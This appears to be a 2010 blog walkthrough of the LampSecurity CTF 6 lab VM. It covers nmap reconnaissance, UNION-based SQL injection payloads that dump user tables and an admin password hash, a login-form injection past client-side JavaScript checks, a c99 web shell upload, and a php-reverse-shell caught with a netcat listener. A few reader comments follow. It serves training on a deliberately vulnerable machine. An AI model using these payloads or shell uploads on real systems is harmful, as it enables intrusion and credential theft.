vendredi 4 juin 2010

tutorial SQL injection - LampSecurity CTF 6 provides several Capture The Flag (CTF) challenges. This tutorial describes some solutions for CTF 6. This CTF is given as a virtual machine to download. It simulates a vulnerable server.
french version available


- VMWare,
- nmap
- dirbuster -
- netcat ( version Windows - )
- php-reverse-shell -
- c99
- module firefox Firebug -
- module firefox liveHttpHeaders -



Download the virtual machine (VM) from To learn how to use VMWare, you can read the article Basics 1 - making the lab - how to use VMWare [1]. Switch the network parameter from Bridge to Nat. For the NAT subnet address: Edit -> Virtual Nework Editor

Here, you use
Start the VM. When the start-up process is over, the VM asks for identification. The server is active. What is its IP address and the services provided?

Find the IP address

Start NMAP, with PING option on the whole subnet.
# nmap -sP -PE -PA21,23,80,3389
Starting Nmap 5.30BETA1 ( ) at 2010-06-01 09:45 Paris, Madrid (heure d’été)
Nmap scan report for
Host is up.
Nmap scan report for
Host is up (0.0010s latency).
MAC Address: 00:0C:29:EC:C4:25 (VMware)
Nmap scan report for
Host is up (0.00s latency).
MAC Address: 00:50:56:E5:4E:88 (VMware)
Nmap done: 256 IP addresses (3 hosts up) scanned in 39.27 seconds
The result is


Start a deep scan on IP address

# nmap -T4 -A -v -PE -PS22,25,80 -PA21,23,80,3389
Starting Nmap 5.21 ( ) at 2010-05-24 11:42 Paris, Madrid (heure d’été)
NSE: Loaded 36 scripts for scanning.
Initiating ARP Ping Scan at 11:42
Scanning [1 port]
Completed ARP Ping Scan at 11:42, 2.74s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 11:42
Completed Parallel DNS resolution of 1 host. at 11:42, 11.00s elapsed
Initiating SYN Stealth Scan at 11:42
Scanning [1000 ports]
Discovered open port 22/tcp on
Discovered open port 995/tcp on
Discovered open port 111/tcp on
Discovered open port 110/tcp on
Discovered open port 143/tcp on
Discovered open port 3306/tcp on
Discovered open port 443/tcp on
Discovered open port 80/tcp on
Discovered open port 993/tcp on
Completed SYN Stealth Scan at 11:43, 1.31s elapsed (1000 total ports)
Initiating Service scan at 11:43
Scanning 9 services on
Completed Service scan at 11:43, 19.02s elapsed (9 services on 1 host)
Initiating RPCGrind Scan against at 11:43
Completed RPCGrind Scan against at 11:43, 0.01s elapsed (1 port)
Initiating OS detection (try #1) against
NSE: Script scanning
NSE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 11:43
Completed NSE at 11:43, 1.23s elapsed
NSE: Script Scanning completed.
Nmap scan report for
Host is up (0.0016s latency).
Not shown: 991 closed ports
22/tcp   open  ssh      OpenSSH 4.3 (protocol 2.0)
| ssh-hostkey: 1024 14:a9:f4:11:dc:2c:4e:0d:45:6c:99:11:22:29:03:bc (DSA)
|_2048 45:58:6c:98:3e:97:2a:da:e2:b8:6a:84:d4:6a:be:26 (RSA)
80/tcp   open  http     Apache httpd 2.2.3 ((CentOS))
|_html-title: CTF 6 - Widgets Inc.
110/tcp  open  pop3     Dovecot pop3d
111/tcp  open  rpcbind  2 (rpc #100000)
| rpcinfo:
| 100000  2    111/udp  rpcbind
| 100024  1    610/udp  status 
| 100000  2    111/tcp  rpcbind
|_100024  1    613/tcp  status 
143/tcp  open  imap     Dovecot imapd
443/tcp  open  ssl/http Apache httpd 2.2.3 ((CentOS))
|_html-title: CTF 6 - Widgets Inc.
993/tcp  open  ssl/imap Dovecot imapd
|_sslv2: server still supports SSLv2
995/tcp  open  ssl/pop3 Dovecot pop3d
|_sslv2: server still supports SSLv2
3306/tcp open  mysql    MySQL 5.0.45
| mysql-info: Protocol: 10
| Version: 5.0.45
| Thread ID: 5
| Some Capabilities: Connect with DB, Compress, Transactions, Secure Connection
| Status: Autocommit
|_Salt: {LHc=CxV#I'&'0[Z3/0B
MAC Address: 00:0C:29:EC:C4:25 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.9 - 2.6.28
Uptime guess: 0.006 days (since Mon May 24 11:34:08 2010)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=203 (Good luck!)
IP ID Sequence Generation: All zeros
1   1.58 ms
Read data files from: C:\Program Files\Nmap
OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 45.65 seconds
           Raw packets sent: 1027 (45.948KB) | Rcvd: 1021 (41.608KB)
The results are :

Web on an Apache server:
- http
- https

- ssh
- mySQL

- imap
- pop
- imaps
- pops

The VM is a Linux kernel 2.6.X.

Web server

Start Firefox:

Entry points

Search for some entry point by visiting the site. The results are:
- Log In (login/password),
- (or 2,3,4)

1st SQL injection (/?id=1)

A SQL injection is the action to put a SQL query in a HTTP query to show anormal results in the returning webpage.

Is there a SQL injection?

Here is the normal query:

Add ' to the query :.'

You can see that the page changed, without any 404 error.The server does not check client entries.

How many SQL fields in the page?

Send successively the following queries: UNION SELECT 1 UNION SELECT 1,2 UNION SELECT 1,2,3 UNION SELECT 1,2,3,4 UNION SELECT 1,2,3,4,5 UNION SELECT 1,2,3,4,5,6 UNION SELECT 1,2,3,4,5,6,7
The seventh makes the page change:

That means that 7 fields are searched for in the SQL database to generate this page.
The query UNION provides a result only if the number of fields on left side is the same as right side. (here 7).

Remark, fields 1, 4 and 8 do not appear but can be found in webpage source. For example, 4 corresponds to the srce of the picture.

Posted by: 7


Find version and current user of SQL database

Use two special SQL functions: user() and version(). UNION SELECT 1,user(),version(),4,5,6,7

List SQL database table

To list the tables of the SQL database, use the special table information_schema [3]. The specific function database() provides the name of the current database. UNION SELECT 1,2,3,4,5,6,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = database()
As a result, you obtain 3 tables:
- user
- log
- event

List user table columns

Now, have a look to "user" table. Let's use the same trick to obtain the columns list of this table. UNION SELECT 1,2,3,4,5,6,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = database() AND TABLE_NAME = 'user'
You obtain:
- user_id
- user_username
- user_password

List username and password entries in the user table

Now, you know the columns titles of the user table, print the couples user_username/user_password. UNION SELECT 1,2,user_username,4,5,6,user_password FROM user
username: admin
password: 25e4ee4e9229397b6b17776bfceaf8e7

google hack: decrypt (weak) password's hash and log on as admin

copy the hash in Google, to obtain the plain text: adminpass

Back to the site, log on:

Nous voici admin sur le site Web.

directories dictionnary search


The SQL injection provided the admin website connexion credentials. Another (faster) mean: a directories search.

Use Owasp dirbuster

You find a SQL directory with a sql.db file. It is a configuration script (forgotten by the admin :). It provides the login and password in plain text!

show php code of temporary files

Surf on the site and add a ~ at the end of each page address. You find:

2nd SQL injection (login)

Let's exploit another injection on form login/password.

local javascript protection found wiht firebug

the username/password form is protected (well! well!) by a client javascript to avoid not alphanumeric characters.

In firebug, activate option "Cliquer sur un élément à inspecter dans la page"

then clik on "Log In" to highlight the associated source code. The javascript name is "checkForm()"

bypass javascript local protection, find the injection

To bypass the local javascript protection, use Firefox module Live Http Headers:

Start Live Http Headers:

Click on "Log In", then click in the captured query, and "replay":

Try to bypass "password" field in the query:
username=admin' AND a=a /*&password=

You obtain:

Query error with select user_id from user where user_username = 'admin' AND a=a /*': Unknown column 'a' in 'where clause'


The SQL code is interpreted. But the first attempt fails. How can you exploit this injection? Guess the SQL server uses a function (MD5() for example) Let's add a parenthesis in the query:
username=' OR 1=1 #&password=') OR 1=1 #


c99: spider the website

Now you are identified as admin, upload c99 through the "add event" form:

Let's use the file c99.txt (cf Rename it as c99.php then upload it:
Create a new event and use "download a picture". Then go to

the injection in PHP source code

Let's have a look to the source of index.php (using c99). There is a link to directory "actions"

Go to "actions/login.php". The injectionis there:
$sql = "select * from user where user_id = " . $uname->user_id .
" AND user_password = md5('" . $_POST['password'] . "')";
There is a call to SQL function md5(). The injection makes the code look like:
$sql = "select * from user where user_id = " . $uname->user_id AND user_password = md5('') AND 1=1";

php-reverse-shell: obtain a shell

upload php-reverse-shell.php.

on the host machine, listen to port 1234

Use Netcat :
démarrer -> exécuter -> CMD
Cmd line: -help
[v1.11 NT]
connect to somewhere:   nc [-options] hostname port[s] [ports] ...
listen for inbound:     nc -l -p port [options] [hostname] [port]
        -d              detach from console, background mode

        -e prog         inbound program to exec [dangerous!!]
        -g gateway      source-routing hop point[s], up to 8
        -G num          source-routing pointer: 4, 8, 12, ...
        -h              this cruft
        -i secs         delay interval for lines sent, ports scanned
        -l              listen mode, for inbound connects
        -L              listen harder, re-listen on socket close
        -n              numeric-only IP addresses, no DNS
        -o file         hex dump of traffic
        -p port         local port number
        -r              randomize local and remote ports
        -s addr         local source address
        -t              answer TELNET negotiation
        -u              UDP mode
        -v              verbose [use twice to be more verbose]
        -w secs         timeout for connects and final net reads
        -z              zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]
Open TCP port 1234:
Cmd line: -v -n -l -p 1234
listening on [any] 1234 ...

upload php-reverse-shell

Edit php-reverse-shell.php and change the IP with yours:

$ip = '';  // CHANGE THIS
$port = 1234;       // CHANGE THIS

Upload it, using "add event" in the Admin form:

obtain a shell with netcat

Go to

You obtain a reverse shell:

print /etc/passwd

From netcat shell :
sh-3.2$ cat /etc/passwd | grep /bin/bash
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
You obtain the list of habilited users of server.

privilege escalation

About privilege escalation, check Mysterie tutorial (french) [4]


In this article, you could conduct:
- SQL injection,
- directory search,
- print website spider with c99.php,
- reverse shell php.


1 - Infond - Basics 1 Making the lab - How to use VMWare -
2 - Mohammed Cherifi - Tutoriel SQL injection -
3 - MySQL doc - table information_schema -
4 - Mysterie - LampSecurity CTF6 -

3 commentaires:

  1. Très bon tutorial pour apprendre le tout de manière simple. Merci pour le billet.

  2. Thanks so much for this great tutorial. I'm always happy to see that people are learning from the LAMP Security exercises that I made so long ago :)

    -Mad Irish

  3. I would say you could fix those broken images. This also looks an old post. Where is cookie based POST and other blind and time based injections? update! adapt to updates.